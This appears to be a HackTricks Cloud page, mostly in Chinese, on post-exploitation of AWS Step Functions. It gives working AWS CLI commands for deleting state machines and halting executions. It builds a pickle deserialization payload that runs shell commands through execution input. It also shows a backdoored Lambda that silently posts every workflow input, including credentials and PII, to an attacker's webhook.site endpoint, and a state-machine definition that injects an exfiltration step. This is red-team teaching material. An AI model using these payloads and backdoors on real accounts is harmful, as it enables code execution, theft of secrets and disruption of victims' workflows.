AWS - Step Functions Post Exploitation
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
Step Functions
For more information about this AWS service, check:
states:RevealSecrets
此权限允许在执行过程中揭示机密数据。为此,需要将 Inspection level 设置为 TRACE,并将 revealSecrets 参数设为 true。
.png)
states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias
具有这些权限的攻击者可以永久删除状态机、其版本和别名。这会破坏关键工作流、导致数据丢失,并需要大量时间来恢复和还原受影响的状态机。此外,这还允许攻击者掩盖所用的痕迹、干扰取证调查,并可能通过移除重要的自动化流程和状态配置来瘫痪运营。
Note
- 删除状态机时,也会删除其所有关联的版本和别名。
- 删除状态机别名时,不会删除引用该别名的状态机版本。
- 无法删除当前被一个或多个别名引用的状态机版本。
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
- 潜在影响:中断关键工作流、数据丢失和运营停机。
states:UpdateMapRun
拥有此权限的攻击者可以操纵 Map Run 的失败配置和并行设置,能够增加或减少允许的子工作流执行的最大数量,直接影响服务的吞吐量和性能。此外,攻击者还可以篡改可容忍的失败百分比和失败计数,将该值降为 0,这样每当某个项失败时,整个 Map Run 都会失败,直接影响状态机的执行并可能中断关键工作流。
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
- 潜在影响: 性能下降,以及关键工作流的中断。
states:StopExecution
拥有此权限的攻击者可以停止任何状态机的执行,扰乱正在进行的工作流和流程。这可能导致事务未完成、业务运营中断,甚至可能造成数据损坏。
Warning
此操作不受 express state machines 支持。
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
- 潜在影响: 正在进行的工作流中断、运营停机以及潜在的数据损坏。
states:TagResource, states:UntagResource
攻击者可以向 Step Functions 资源添加、修改或删除标签,从而破坏组织基于标签的成本分配、资源跟踪和访问控制策略。
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>
Potential Impact: 干扰成本分配、资源跟踪和基于标签的访问控制策略。
states:StartExecution -> Input Injection Into Dangerous Sinks
states:StartExecution 是一个数据平面入口。如果状态机将攻击者控制的输入转发到包含危险 sink 的任务(例如一个 Lambda 执行 pickle.loads(base64.b64decode(payload_b64))),有时你可以把 StartExecution 变成通过执行输出进行的 代码执行 和 秘密外泄,而无需任何更新状态机的权限。
发现工作流程和被调用的 Lambda
如果你拥有 states:List* / states:Describe*,你可以枚举并读取状态机定义:
REGION=us-east-1
SM_ARN="<state_machine_arn>"
aws stepfunctions describe-state-machine --region "$REGION" --state-machine-arn "$SM_ARN" --query definition --output text
如果你也拥有 lambda:GetFunction,你可以下载 Lambda 代码包以了解输入如何被处理(并确认是否存在不安全的反序列化):
LAMBDA_ARN="<lambda_arn_from_definition>"
CODE_URL="$(aws lambda get-function --region "$REGION" --function-name "$LAMBDA_ARN" --query 'Code.Location' --output text)"
curl -sSL "$CODE_URL" -o /tmp/lambda.zip
unzip -o /tmp/lambda.zip -d /tmp/lambda_code >/dev/null
ls -la /tmp/lambda_code
示例:在执行输入中的精心构造的 pickle (Python)
如果 Lambda 对攻击者控制的数据执行 unpickle,则恶意 pickle 可以在 deserialization 期间执行代码。下面是一个将在 Lambda runtime 中评估 Python 表达式的示例 payload:
PAYLOAD_B64="$(python3 - <<'PY'
import base64, pickle
class P:
def __reduce__(self):
# Replace with a safe proof (e.g. "1+1") or a target-specific read.
return (eval, ("__import__('os').popen('id').read()",))
print(base64.b64encode(pickle.dumps(P())).decode())
PY
)"
EXEC_ARN="$(aws stepfunctions start-execution --region "$REGION" --state-machine-arn "$SM_ARN" --input "{\"payload_b64\":\"$PAYLOAD_B64\"}" --query executionArn --output text)"
aws stepfunctions describe-execution --region "$REGION" --execution-arn "$EXEC_ARN" --query output --output text
Impact: 任务角色所具有的任何权限 (Secrets Manager reads, S3 writes, KMS decrypt, etc.) 都可能通过精心构造的输入变得可被访问,且结果可能作为 Step Functions 执行输出返回。
states:UpdateStateMachine, lambda:UpdateFunctionCode
如果攻击者入侵了具有下列权限的用户或角色:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}
…可以通过将 Lambda backdooring 与 Step Function logic manipulation 结合,发起一个 high-impact and stealthy post-exploitation attack。
本情景假定受害者使用 AWS Step Functions to orchestrate workflows that process sensitive input,例如 credentials、tokens 或 PII。
示例受害者调用:
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim
如果 Step Function 被配置为调用像 LegitBusinessLogic 这样的 Lambda,攻击者可以继续进行两个隐蔽的攻击变体:
更新了 lambda 函数
攻击者修改 Step Function 已使用的 Lambda 函数(LegitBusinessLogic)的代码,以静默地 exfiltrate 输入数据。
# send_to_attacker.py
import requests
def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
zip function.zip send_to_attacker.py
aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker
向 Step Function 添加恶意状态
或者,攻击者可以通过更新 Step Function 定义,在工作流开始处注入一个 exfiltration state。
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker
The attacker can even more stealthy to update the state definition to something like this { “Comment”: “Backdoored for Exfiltration”, “StartAt”: “ExfiltrateSecrets”, “States”: { “ExfiltrateSecrets”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker”, “InputPath”: “$”, “ResultPath”: “$.exfil”, “Next”: “OriginalState” }, “OriginalState”: { “Type”: “Task”, “Resource”: “arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic”, “End”: true } } } where the victim won’t realize the different
受害者设置(利用上下文)
- 一个 Step Function (
LegitStateMachine) 被用于处理敏感的用户输入。 - 它会调用一个或多个 Lambda 函数,例如
LegitBusinessLogic。
潜在影响:
- 静默 exfiltration 敏感数据,包括 secrets、credentials、API keys 和 PII。
- 在工作流执行中不会出现可见的错误或失败。
- 如果不审计 Lambda 代码或执行跟踪,难以检测到。
- 如果 backdoor 保留在代码或 ASL 逻辑中,则可实现长期持久性。
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

